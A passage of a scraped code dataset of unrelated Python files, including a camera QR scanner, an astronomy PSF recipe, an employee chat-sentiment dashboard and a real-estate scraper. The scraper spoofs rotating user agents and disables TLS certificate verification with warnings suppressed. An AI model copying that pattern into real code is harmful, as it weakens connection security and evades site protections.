os.environ.get('OPENCV_CAMERA_SOURCE'):\n CameraQRScan.set_video_source(int(os.environ['OPENCV_CAMERA_SOURCE']))\n super(CameraQRScan, self).__init__()\n\n @staticmethod\n def set_video_source(source):\n CameraQRScan.video_source = source\n\n @staticmethod\n def frames():\n\n camera = cv2.VideoCapture(Camera.video_source)\n if not camera.isOpened():\n raise RuntimeError('Could not start camera.')\n\n font = ImageFont.truetype(os.path.dirname(os.path.dirname(__file__)) + '/font/jdjls.ttf', 40)\n\n while True:\n # read current frame\n _, frame = camera.read()\n img_PIL = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n barcodes = pyzbar.decode(frame)\n for barcode in barcodes:\n (x, y, w, h) = barcode.rect\n\n img = cv2.rectangle(frame,(x, y), (x + w, y + h),(255,0,0),2)\n img_PIL = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n barcodeData = barcode.data.decode(\"utf-8\")\n barcodeType = barcode.type\n text = \"Text:\" + barcodeData\n\n # 文字颜色\n fillColor = (255,0,0)\n # 文字输出位置\n position = (10,10)\n # 输出内容\n strc = text\n\n if not isinstance(strc, str):\n strc = strc.decode('utf8')\n\n draw = ImageDraw.Draw(img_PIL)\n draw.text(position, strc, font=font, fill=fillColor)\n\n frame = cv2.cvtColor(np.asarray(img_PIL),cv2.COLOR_RGB2BGR)\n\n # encode as a jpeg image and return it\n yield cv2.imencode('.jpg', frame)[1].tobytes()\n\n\n","repo_name":"bibo19842003/dragoncar","sub_path":"dragoncar/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":47735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37641714264","text":"import os\n\n\nclass Query:\n __query_extension = 'sql'\n __params_extension = 'txt'\n\n def __init__(self, name, query, params):\n self._query = query\n self._parameters = params\n self._name = name\n\n @property\n def query(self):\n return self._query\n\n @property\n def parameters(self):\n return self._parameters\n\n @property\n def name(self):\n return self._name\n\n def save(self, folder):\n parametes_path = os.path.join(folder, self._name + '.' + self.__params_extension)\n query_path = os.path.join(folder, self._name + '.' + self.__query_extension)\n if os.path.exists(query_path) or os.path.exists(parametes_path):\n raise FileExistsError\n else:\n with open(query_path, 'w') as f:\n f.write(self._query)\n with open(parametes_path, 'w') as f:\n for key in self._parameters:\n f.write(str(key) + ': ' + str(self._parameters[key]) + '\\n')\n\n @classmethod\n def load(cls, folder, name):\n parametes_path = os.path.join(folder, name + '.' + cls.__params_extension)\n query_path = os.path.join(folder, name + '.' + cls.__query_extension)\n with open(query_path, 'r',encoding='utf-8-sig') as query_file, open(parametes_path, 'r',encoding='utf-8-sig') as params_file:\n query = query_file.read()\n parameters = {line.split(':')[0]: line.split(':')[1].strip() for line in params_file.readlines()}\n return Query(name, query, parameters)\n","repo_name":"DavydovAlex/MIS_DB","sub_path":"DB/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4206878432","text":"# Usage:\n# fsf_exposure raw imphot\n# compute full fsf from psfrec and optionaly rescale values using imphot\n#\nimport logging\nimport os\nimport sys\nfrom os.path import join\n\nimport numpy as np\nfrom astropy.table import Column, Table\nfrom mpdaf.log import clear_loggers\nfrom mpdaf.MUSE import MoffatModel2\n\nfrom ..utils import get_exp_name\nfrom .recipe import PythonRecipe\n\ntry:\n import muse_psfr\nexcept ImportError:\n PSFR_VERSION = \"unknown\"\n muse_psfr = None\nelse:\n PSFR_VERSION = muse_psfr.__version__\n\n\ndef do_fsf(\n expname, inputfile, outputfile1, outputfile2, imphot_table=None, filters=None\n):\n logger = logging.getLogger(__name__)\n\n if muse_psfr is None:\n logger.error(\"muse_psfr is not installed\")\n sys.exit(1)\n\n # clear muse_psfr logger and set to WARNING if not in DEBUG\n clear_loggers(\"muse_psfr\")\n if logging.getLogger(\"\").handlers[0].level > logging.DEBUG:\n logging.getLogger(\"muse_psfr\").setLevel(\"WARNING\")\n\n # run psfrec\n fsfmodel = MoffatModel2.from_psfrec(inputfile, verbose=False)\n\n lbrange = np.array([fsfmodel.lbrange[0],7000.0,fsfmodel.lbrange[1]])\n fwhm = fsfmodel.get_fwhm(lbrange)\n beta = fsfmodel.get_beta(lbrange)\n logger.info(\n \"FSF PsfRec model FWHM %.2f-%.2f BETA %.2f-%.2f\",\n fwhm[0],\n fwhm[-1],\n beta[0],\n beta[-1],\n )\n\n kernel = 0\n if imphot_table is not None:\n tab = Table.read(imphot_table)\n if outputfile2 is not None:\n # create output table with FWHM and BETA difference\n vtab = Table(\n names=[\n \"BAND\",\n \"LBDA\",\n \"PSREC_FWHM\",\n \"PSFREC_BETA\",\n \"IMPHOT_FWHM\",\n \"IMPHOT_BETA\",\n \"ERR_FWHM\",\n \"ERR_BETA\",\n ],\n dtype=[\"S25\"] + 7 * [\"f8\"],\n )\n for b, lb in zip(*filters):\n irow = tab[tab[\"filter\"] == b]\n ifwhm = irow[\"fwhm\"]\n ibeta = irow[\"beta\"]\n pfwhm = fsfmodel.get_fwhm(lb)\n pbeta = fsfmodel.get_beta(lb)\n vtab.add_row(\n [b, lb, pfwhm, pbeta, ifwhm, ibeta, ifwhm - pfwhm, ibeta - pbeta]\n )\n vtab.write(outputfile2, overwrite=True)\n # computing convolution kernel\n imphot_fwhms = tab[[e[\"filter\"] in filters[0] for e in tab]][\"fwhm\"]\n psfrec_fwhms = fsfmodel.get_fwhm(np.array(filters[1]))\n kernels = np.sqrt(np.clip(imphot_fwhms ** 2 - psfrec_fwhms ** 2, 0, np.nan))\n for band, wave, f1, f2, kernel in zip(\n filters[0], filters[1], imphot_fwhms, psfrec_fwhms, kernels\n ):\n logger.debug(\n \"Filter %s Wave: %.1f IMPHOT FWHM %.2f PSFREC FWHM %.2f Kernel %.2f\",\n band,\n wave,\n f1,\n f2,\n kernel,\n )\n kernel_max = np.mean(kernels)\n if kernel_max == 0:\n logger.debug(\"IMPHOT FSF is smaller than PSFREC FSF, no convolution\")\n else:\n kernels = [\n 0.6 * kernel_max,\n 0.7 * kernel_max,\n 0.8 * kernel_max,\n 0.9 * kernel_max,\n kernel_max,\n ]\n diffs = []\n for kernel in kernels:\n logger.debug(\n \"Convolution of FSFmodel with a Gaussian Kernel FWHM: %.2f\", kernel\n )\n cfsfmodel = fsfmodel.convolve(kernel)\n final_fwhms = cfsfmodel.get_fwhm(np.array(filters[1]))\n diff = []\n for band, wave, f1, f2, f3 in zip(\n filters[0], filters[1], imphot_fwhms, psfrec_fwhms, final_fwhms\n ):\n logger.debug(\n \"Filter %s Wave: %.1f IMPHOT FWHM %.2f PSFREC FWHM %.2f COMPUTED %.2f DIFF %.2f\",\n band,\n wave,\n f1,\n f2,\n f3,\n f3 - f1,\n )\n diff.append(f3 - f1)\n diffs.append(np.mean(diff))\n kernel = np.interp(0, diffs, kernels)\n logger.debug(\"Final Gaussian Kernel FWHM: %.2f\", kernel)\n cfsfmodel = fsfmodel.convolve(kernel)\n final_fwhms = cfsfmodel.get_fwhm(np.array(filters[1]))\n for band, wave, f1, f2, f3 in zip(\n filters[0], filters[1], imphot_fwhms, psfrec_fwhms, final_fwhms\n ):\n logger.debug(\n \"Filter %s Wave: %.1f IMPHOT FWHM %.2f PSFREC FWHM %.2f FINAL %.2f DIFF %.2f\",\n band,\n wave,\n f1,\n f2,\n f3,\n f3 - f1,\n )\n lbrange = np.array([fsfmodel.lbrange[0],7000.0,fsfmodel.lbrange[1]])\n fwhm = cfsfmodel.get_fwhm(lbrange)\n beta = cfsfmodel.get_beta(lbrange)\n logger.info(\n \"FSF Final model FWHM %.2f-%.2f BETA %.2f-%.2f\",\n fwhm[0],\n fwhm[-1],\n beta[0],\n beta[-1],\n )\n fsfmodel = cfsfmodel\n\n tab = Table(\n names=[\n \"NAME\",\n \"LBDA0\",\n \"LBDA1\",\n \"FWHM_B\",\n \"FWHM_V\",\n \"FWHM_R\",\n \"BETA_B\",\n \"BETA_V\",\n \"BETA_R\",\n \"KERNEL\",\n \"NCFWHM\",\n \"NCBETA\",\n ],\n dtype=[\"S25\"] + 9 * [\"f8\"] + 2 * [\"i4\"],\n )\n row = [\n expname,\n fsfmodel.lbrange[0],\n fsfmodel.lbrange[1],\n fwhm[0],\n fwhm[1],\n fwhm[2],\n beta[0],\n beta[1],\n beta[2],\n kernel,\n len(fsfmodel.fwhm_pol),\n len(fsfmodel.beta_pol),\n ]\n for k, val in enumerate(fsfmodel.fwhm_pol):\n tab.add_column(Column(name=f\"FWHM_P{k}\", dtype=\"f8\"))\n row.append(val)\n for k, val in enumerate(fsfmodel.beta_pol):\n tab.add_column(Column(name=f\"BETA_P{k}\", dtype=\"f8\"))\n row.append(val)\n tab.add_row(row)\n\n tab.write(outputfile1, overwrite=True)\n\n\nclass FSF(PythonRecipe):\n \"\"\"Recipe to compute FSF for individual exposures\"\"\"\n\n recipe_name = \"fsf\"\n DPR_TYPE = \"OBJECT\"\n output_dir = \"fsf\"\n output_frames = [\"FSF\"]\n version = f\"muse_psfr-{PSFR_VERSION}\"\n n_inputs_rec = 1\n\n default_params = dict()\n\n def _run(self, flist, *args, imphot_tables=None, filters=None, **kwargs):\n expname = get_exp_name(flist[0])\n out1 = join(self.output_dir, f\"FSF.fits\")\n if imphot_tables is not None:\n out2 = join(self.output_dir, f\"FSF_PSFREC_IMPHOT.fits\")\n self.imphot_table = imphot_tables.get(expname)\n else:\n out2 = None\n self.imphot_table = None\n do_fsf(\n expname,\n flist[0],\n out1,\n out2,\n imphot_table=self.imphot_table,\n filters=filters,\n **self.param,\n )\n return out1, out2\n\n def dump(self, include_files=False, json_col=False):\n info = super().dump(include_files=include_files, json_col=json_col)\n if include_files:\n # Add the imphot table only in the json file\n info.update({\"imphot_table\": self.imphot_table})\n return info\n","repo_name":"musevlt/musered","sub_path":"musered/recipes/fsf.py","file_name":"fsf.py","file_ext":"py","file_size_in_byte":7560,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"38301329160","text":"#!/usr/bin/python3\n\"\"\"\nModule - class\n\"\"\"\n\n\nfrom models.rectangle import Rectangle\n\n\nclass Square(Rectangle):\n \"\"\" class sqaure \"\"\"\n\n def __init__(self, size, x=0, y=0, id=None):\n super().__init__(size, size, x, y, id)\n\n @property\n def size(self):\n return self.width\n\n @size.setter\n def size(self, size):\n self.width = size\n self.height = size\n\n def __str__(self):\n return \"[Square] (\" + str(self.id) + \") \" + str(self.x) +\\\n \"/\" + str(self.y) + \" - \" + str(self.size)\n\n def update(self, *args, **kwargs):\n \"\"\" assigns an argument to each attribute \"\"\"\n\n if args is not None and len(args) > 0:\n for i in range(len(args)):\n if i == 0:\n self.id = args[i]\n if i == 1:\n self.size = args[i]\n if i == 2:\n self.x = args[i]\n if i == 3:\n self.y = args[i]\n\n else:\n for k, v in kwargs.items():\n if k == \"id\":\n self.id = v\n if k == \"size\":\n self.size = v\n if k == \"x\":\n self.x = v\n if k == \"y\":\n self.y = v\n\n def to_dictionary(self):\n \"\"\" returns the dictionary representation of a Square \"\"\"\n\n return {'id': self.id, 'size': self.width, 'x': self.x, 'y': self.y}\n","repo_name":"kefitaib/holbertonschool-higher_level_programming","sub_path":"0x0C-python-almost_a_circle/models/square.py","file_name":"square.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3734907272","text":"from __future__ import print_function\n\nimport argparse\n\nVERSION = \"0.0.1\"\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-v\",\n \"--version\",\n required=False,\n action=\"store_true\",\n dest=\"version\",\n default=False,\n help=\"print version information\",\n )\n\n args = parser.parse_args()\n if args.version:\n print(\"Version: %s\" % VERSION)\n return\n parser.print_help()\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"seekplum/seekplum","sub_path":"utils/test_prn.py","file_name":"test_prn.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"24951165758","text":"\"\"\"\r\nDefinition of urls for pineapple.\r\n\"\"\"\r\nfrom django.conf.urls import url\r\nimport app.views\r\n\r\n\r\nurlpatterns = [\r\n\r\n url(r'^$', app.views.home, name='home'),\r\n url(r'^history$', app.views.history, name='history'),\r\n url(r'^history/patient/(?P[0-9]+)$',\r\n view=app.views.show_patient_info,\r\n name='patient_history'),\r\n url(r'^history/patient/(?P[0-9]+)/prediction$',\r\n view=app.views.show_patient_prediction,\r\n name='patient_diseases_prediction'),\r\n url(r'^history/patient/(?P[0-9]+)/prediction'\r\n r'/details',\r\n view=app.views.show_patient_prediction_details,\r\n name='patient_diseases_prediction_details')\r\n]\r\n","repo_name":"Polymedia/hack-pineapple","sub_path":"pineapple/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19734518860","text":"bids = {}\n\n\nbid_over = False\nwhile not bid_over:\n print(\"Welcome to the secret auction program.\\n\")\n bidder_name = input(\"What is your name?:\\n\")\n bid_amount = input(\"What's your bid?:\\n$\")\n bids[bidder_name] = bid_amount\n continue_auction = input(\"Are there any other bidders? Type 'yes' or 'no':\\n\").lower()\n if continue_auction == \"yes\":\n print(\"\\n\"*100)\n if continue_auction == \"no\":\n bid_over = True\nmax_bid = max(bids.values())\nmax_bidder = max(bids, key=bids.get)\nprint(f\"The highest bidder is {max_bidder} with a bid of ${max_bid}\")\n","repo_name":"BayanganPikiran/blindauction","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17357785407","text":"# Import UI dependencies\r\nimport streamlit as st\r\nimport os\r\n# Bring in LLMs\r\nfrom transformers import pipeline\r\n# For creating dataframes\r\nimport pandas as pd\r\nimport re\r\n# For visualizing charts\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport plotly.express as px\r\n\r\n# Set the layout to the streamlit app as wide \r\nst.set_page_config(layout='wide')\r\n\r\nif os.path.exists('./sentiment_analytics.csv'): \r\n df = pd.read_csv('sentiment_analytics.csv', index_col=None)\r\n\r\n# Load the zero-shot classification pipeline\r\nclassifier = pipeline(\"zero-shot-classification\", model=\"facebook/bart-large-mnli\")\r\n\r\nwith st.sidebar:\r\n st.image('https://nexval.com/wp-content/uploads/2021/06/NEX_WEB_LOGO_NEXVAL.png')\r\n st.title(\"Chat Sentiment Analysis\")\r\n choice = st.radio(\"Options\", [\"Prediction\", \"Analytics\"])\r\n st.info(\"This project application helps to understand the users overall sentiment.\")\r\n\r\nif choice == \"Prediction\":\r\n st.title(\"Sentiment Prediction\")\r\n file = st.file_uploader(\"Upload Your Dataset\")\r\n\r\n if file:\r\n # 1. Displaying the prediction for users\r\n # Perform sentiment prediction\r\n transcript = file.read().decode(\"utf-8\")\r\n # Split the transcript into individual messages\r\n messages = transcript.strip().split('\\n')\r\n # Define the labels for emotions\r\n labels = ['happy', 'funny', 'relaxed', 'sad', 'angry', 'unhappy', 'sarcastic', 'abusive', 'irritated', 'demorosed', 'arrogant', 'agitated']\r\n # Initialize a dictionary to store emotions for each message\r\n message_emotions = {message: [] for message in messages}\r\n # Initialize a list to store emotions for each message\r\n emotions = []\r\n # Classify each message into emotions\r\n for message in messages:\r\n # Ensure the message is not empty\r\n if message.strip():\r\n for label in labels:\r\n # Classify the message against the current label\r\n result = classifier(message, [label])\r\n # Extract the scores and labels\r\n scores = result[\"scores\"]\r\n label_predictions = result[\"labels\"]\r\n # Iterate through the predictions\r\n for score, label_prediction in zip(scores, label_predictions):\r\n if score > 0.5:\r\n message_emotions[message].append(label_prediction)\r\n # Create a chat summary with messages categorized by emotion\r\n chat_summary = {label: [] for label in labels}\r\n for message, emotions in message_emotions.items():\r\n for emotion in emotions:\r\n chat_summary[emotion].append(message)\r\n # Ensure all arrays have the same length\r\n max_length = max(len(messages) for messages in chat_summary.values())\r\n for label in labels:\r\n chat_summary[label] += [''] * (max_length - len(chat_summary[label]))\r\n # Create a Pandas DataFrame\r\n df = pd.DataFrame(chat_summary)\r\n # Display the results in a table\r\n st.info(\"Model Predictions\")\r\n st.dataframe(df)\r\n\r\n # 2. Save the DataFrame to a CSV file for futher analysis\r\n # Split messages into new lines\r\n messages = [message.strip() for message in transcript.split('\\n') if message.strip()]\r\n print(len(messages))\r\n # Regular expression pattern to extract usernames\r\n pattern = r'\\[(\\d+:\\d+ [APM]{2})\\] (\\w+)(?: \\[\\w+ [A-Za-z\\s]+\\]:)?'\r\n # Find all matches in the text\r\n matches = re.findall(pattern, transcript)\r\n # Print the extracted usernames\r\n if matches:\r\n usernames = [match[1] for match in matches]\r\n # Initialize lists to store data\r\n times = []\r\n usernames = []\r\n # Process each match\r\n for match in matches:\r\n time = match[0]\r\n username = match[1]\r\n times.append(time)\r\n usernames.append(username)\r\n df = pd.DataFrame({'Time': times, 'Username': usernames, 'Message': messages})\r\n labels = ['happy', 'funny', 'relaxed', 'sad', 'angry', 'unhappy', 'sarcastic', 'abusive', 'irritated', 'demorosed', 'arrogant', 'agitated']\r\n # Iterate through each row in the DataFrame\r\n for index, row in df.iterrows():\r\n message = row[\"Message\"] \r\n # Use zero-shot classification to classify the message\r\n result = classifier(message, labels)\r\n # Extract the label with the highest score\r\n predicted_label = result[\"labels\"][0]\r\n # Update the corresponding label columns\r\n for label in labels:\r\n if label == predicted_label:\r\n df.at[index, label] = 1\r\n else:\r\n df.at[index, label] = 0\r\n # Display the dataframe\r\n st.info('Employee Analytics Prediction')\r\n st.dataframe(df)\r\n # Save the DataFrame to a CSV file for analytics\r\n df.to_csv('sentiment.csv', index=None) \r\n\r\n\r\nif choice == \"Analytics\":\r\n st.title(\"Exploratory Data Analytics\")\r\n # You can create a list of unique usernames\r\n unique_usernames = df['Username'].unique()\r\n chosen_target = st.selectbox('Choose employee for further analytics', unique_usernames)\r\n # Filter the DataFrame based on the selected employee\r\n selected_data = df[df['Username'] == chosen_target]\r\n # Create charts and analytics\r\n st.subheader(f'Analytics for {chosen_target}')\r\n # Generate two columns \r\n col1, col2 = st.columns(2)\r\n # happy\tfunny\trelaxed\tsad\tangry\tunhappy\tsarcastic\tabusive\tirritated\tdemorosed\tarrogant\tagitated\r\n with col1:\r\n # Calculate sentiment totals\r\n total_happy = selected_data['happy'].sum()\r\n total_funny = selected_data['funny'].sum()\r\n total_relaxed = selected_data['relaxed'].sum()\r\n total_sad = selected_data['sad'].sum()\r\n total_angry = selected_data['angry'].sum()\r\n total_unhappy = selected_data['unhappy'].sum()\r\n total_sarcastic = selected_data['sarcastic'].sum()\r\n total_abusive = selected_data['abusive'].sum()\r\n total_irritated = selected_data['irritated'].sum()\r\n total_demorosed = selected_data['demorosed'].sum()\r\n total_arrogant = selected_data['arrogant'].sum()\r\n total_agitated = selected_data['agitated'].sum()\r\n # Create a DataFrame for pie chart\r\n sentiment_data = pd.DataFrame({\r\n 'Sentiment': ['Happy', 'Funny', 'Relaxed', 'Sad', 'Angry', 'Unhappy','Sarcastic', 'Abusive','Irritated', 'Demorosed', 'Arrogant', 'Agitated'],\r\n 'Value': [total_happy, total_funny, total_relaxed, total_sad, total_angry, total_unhappy, total_sarcastic, total_abusive, total_irritated, total_demorosed, total_arrogant, total_agitated]\r\n })\r\n #st.info(f'Sentiment Analysis for {chosen_target}')\r\n st.info('Pie Chart Analysis as follows..')\r\n # Create a pie chart using Plotly Express\r\n fig = px.pie(sentiment_data, values='Value', names='Sentiment', color_discrete_sequence=px.colors.sequential.RdBu)\r\n # Set the width of the chart to ensure it fits within col1\r\n fig.update_layout(width=400) # Adjust the width as needed\r\n # Display the chart in streamlit\r\n st.plotly_chart(fig)\r\n\r\n with col2:\r\n st.info('Heatmap of Sentiment Analysis')\r\n # Transpose the DataFrame for plotting\r\n transposed_data = selected_data[['happy', 'funny', 'relaxed', 'sad', 'angry', 'unhappy', 'sarcastic', 'abusive', 'irritated', 'demorosed', 'arrogant', 'agitated']].T\r\n transposed_data.columns = selected_data['Time'] # Set the time as column names\r\n # Create a heatmap for sentiment analysis using Plotly Express\r\n fig = px.imshow(\r\n transposed_data,\r\n labels=dict(x=\"Time\", y=\"Sentiment\"),\r\n color_continuous_scale='RdBu', # You can adjust the color scale as needed\r\n zmin=0,\r\n zmax=1,\r\n )\r\n fig.update_xaxes(side=\"top\")\r\n fig.update_layout(width=400, height = 500) # Adjust the size as needed\r\n st.plotly_chart(fig)\r\n # Create a DataFrame for the emotional summary\r\n emotional_summary = pd.DataFrame({\r\n 'Emotion': ['Happy', 'Funny', 'Relaxed', 'Sad', 'Angry', 'Unhappy','Sarcastic', 'Abusive','Irritated', 'Demorosed', 'Arrogant', 'Agitated'],\r\n 'Emoji': ['😄', '😂', '😌', '😢', '😠', '😞', '😏', '😡', '😤', '😔', '😒', '😤'],\r\n 'Value': [total_happy, total_funny, total_relaxed, total_sad, total_angry, total_unhappy, total_sarcastic, total_abusive, total_irritated, total_demorosed, total_arrogant, total_agitated]\r\n }).set_index('Emotion').T\r\n # Display the emotional summary in a DataFrame\r\n st.info(f'Emotional Summary of {chosen_target}')\r\n st.dataframe(emotional_summary)\r\n \r\n # Suggest actions based on sentiment\r\n if total_happy > total_sad:\r\n st.success(f\"Suggestion: Encourage and reward {chosen_target} for their positivity!\")\r\n if total_happy > total_angry:\r\n st.success(f\"Additionally, it seems {chosen_target} is quite excited! Consider leveraging their enthusiasm.\")\r\n elif total_happy < total_angry:\r\n st.warning(f\"However, there are signs of anger. It's essential to address any concerns to maintain a positive atmosphere.\")\r\n else:\r\n st.info(f\"Moreover, {chosen_target} appears to have a balanced mix of excitement and anger. Keep an eye on the dynamics.\")\r\n else:\r\n st.error(f\"Suggestion: Check in with {chosen_target} to understand their concerns.\")\r\n if total_happy > total_angry:\r\n st.info(f\"It appears {chosen_target} is excited despite their concerns. Engage with them to address any issues.\")\r\n elif total_happy < total_angry:\r\n st.error(f\"Furthermore, there are signs of both anger and concern. Urgently address the issues to improve the situation.\")\r\n else:\r\n st.warning(f\"Moreover, {chosen_target} has a mixed sentiment of excitement and anger. Investigate the underlying reasons.\")\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Daremitsu1/Emotional-Manipulation-","sub_path":"sentimentapp.py","file_name":"sentimentapp.py","file_ext":"py","file_size_in_byte":10275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19933688986","text":"#!/usr/bin/python3\ndef safe_print_list_integers(my_list=[], x=0):\n # a function that prints the first x elements of a list and only integers.\n # if x is bigger than the list, raise an exception error\n\n count = 0\n for index in range(x):\n try:\n print(\"{:d}\".format(my_list[index]), end=\"\")\n count += 1\n except (TypeError, ValueError):\n continue\n print(\"\")\n return count\n","repo_name":"Lilwm/alx-higher_level_programming","sub_path":"0x05-python-exceptions/2-safe_print_list_integers.py","file_name":"2-safe_print_list_integers.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12101256336","text":"import requests as r\nfrom bs4 import BeautifulSoup as bs\nimport re\nimport numpy as np\nimport random\nimport pandas as pd\nfrom json import dumps,loads\nfrom random import choice\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nr.packages.urllib3.disable_warnings(InsecureRequestWarning)\nfrom multiprocessing.pool import ThreadPool\nimport time\nfrom selenium import webdriver\nfrom datetime import datetime as dt\n\n\nbrowser=webdriver.Chrome()\n\nLink=\"https://www.domofond.ru/prodazha-nedvizhimosti/search?DistrictIds=676%2C677%2C679%2C678%2C680%2C681%2C675&Page={}\"\nGit_Path=\"C://Users//timna//OneDrive//Документы//Flat_Offers_Analysis//Result_Data//Data__{}.xlsx\"\nPath=\"Result_Data//Data__{}.xlsx\"\nPics_Path=\"Result_Data//Pics_{}.xlsx\"\n\ndesktop_agents = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14',\n 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0','Yandex/1.01.001']\n\nWEB={'authority': 'www.domofond.ru', 'cache-control': 'max-age=0',\n 'upgrade-insecure-requests': '1',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWeb'\n 'Kit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.11'\n '6 Safari/537.36',\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,'\n 'image/webp,image/apng,*/*;q=0.8,application/signed-'\n 'exchange;v=b3;q=0.9',\n 'sec-fetch-site': 'none', 'sec-fetch-mode': 'navigate',\n 'sec-fetch-user': '?1', 'sec-fetch-dest': 'document',\n 'accept-language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7'}\n\n\n\n\ndef get_last_page_and_divide():\n print(\"Получаем количество страниц с недвижимостью.\")\n dat=r.get(Link.format(1),headers={\"User-Agent\":random.choice(desktop_agents)},verify=False)\n soup=bs(dat.text,'lxml')\n lis=[ i.text for i in soup.find_all(\"li\",{\"class\":\"pagination__page___2dfw0\"})]\n pages=[i for i in range(1,int(lis[-1]))]\n print(\"Всего в данный момент на сайте {} страниц\".format(lis[-1]))\n content=[]\n pages_divided=list(np.array_split(pages,4))\n nums=[1,2,3,4]\n pages_divided=list(zip(nums,pages_divided))\n return pages_divided\n\n\n\n\ndef do_post(j):\n u=0\n while u==0:\n try:\n post_content=r.post(\"https://api.domofond.ru/rpc\",data=j,headers=WEB)\n u=1\n except:\n time.sleep(30)\n return post_content\n \n\ndef get_pics(href):\n z=0\n while z==0:\n try:\n browser.get(\"https://www.domofond.ru\"+href)\n soup=bs(browser.page_source,\"lxml\")\n imgs=soup.find_all(\"div\",{\"class\":\"img__cover___3zeI6 gallery__cover___2u8vz\"})\n if len(imgs)==0:\n imgs=soup.find_all(\"div\",{\"class\":\"img__cover___3zeI6 gallery__cover___2u8vz gallery__selected___ljEWu\"})\n li=[i.find_all(\"img\")[0][\"src\"] for i in imgs]\n return li\n except:\n time.sleep(45)\n \ndef get_info_from_json(href):\n i=0\n try:\n dicts={\"id\":\"1\",\"jsonrpc\":\"2.0\",\"method\":\"Item.GetItemV3\",\"params\":{\"meta\":{\"platform\":\"web\",\"language\":\"ru\"},\"filters\":{},\"itemUrl\":href}}\n js={}\n js=dumps(dicts,separators=(',', ':')).encode(\"utf8\").decode('unicode-escape')\n raw_data=do_post(js)\n data=loads(raw_data.content)[\"result\"][\"item\"][\"data\"]\n id1=loads(raw_data.content)[\"result\"][\"item\"][\"id\"]\n lat=float(data[\"location\"][\"latitude\"])\n lon=float(data[\"location\"][\"longitude\"])\n price1=int(data[\"price\"].replace(\" \",\"\").replace(\"₽\",\"\"))\n area1=float(data[\"floorAreaCalculated\"])\n ppm1=float(data[\"pricePerMeterSquaredCalculated\"])\n floor1=int(data[\"floorInt\"])\n total_floor1=int(data[\"floorString\"].split(\"/\")[1])\n rooms1=(data[\"rooms\"])\n material_dict=data[\"detailGroups\"][0][\"details\"]\n material1=\"\"\n for val in material_dict:\n if val[\"name\"]=='Материал здания':\n material1=val[\"value\"]\n addr1=(data[\"address\"])\n try:\n distr1=data[\"district\"][\"name\"]\n except:\n distr1=np.nan\n pictures=get_pics(href)\n return (i,(id1,lat,lon,price1,area1,ppm1,floor1,total_floor1,rooms1,material1,addr1,distr1,pictures))\n except:\n return (i,\"Error\")\n\n\n\ndef do_get(g,h):\n m=0\n while m==0:\n try:\n rd=g.get(h,headers={\"User-Agent\":random.choice(desktop_agents)},verify=False)\n m=1\n except:\n time.sleep(30)\n return rd\n\n\n\ndef get_hrefs_and_info(pages_part):\n content=[]\n num,pages_part=pages_part\n with r.Session() as f:\n for index,part in enumerate(pages_part):\n i=0\n h=Link.format(part)\n raw_raw_raw_data=do_get(f,h)\n soup=bs(raw_raw_raw_data.text,'lxml')\n raw_raw_data=soup.find_all('a',{'class':'long-item-card__item___ubItG'},href=True)\n for href in raw_raw_data:\n ref=re.search(r'href=\"(.*?)\"',str(href))\n z=np.random.randint(3,10)\n time.sleep(z)\n 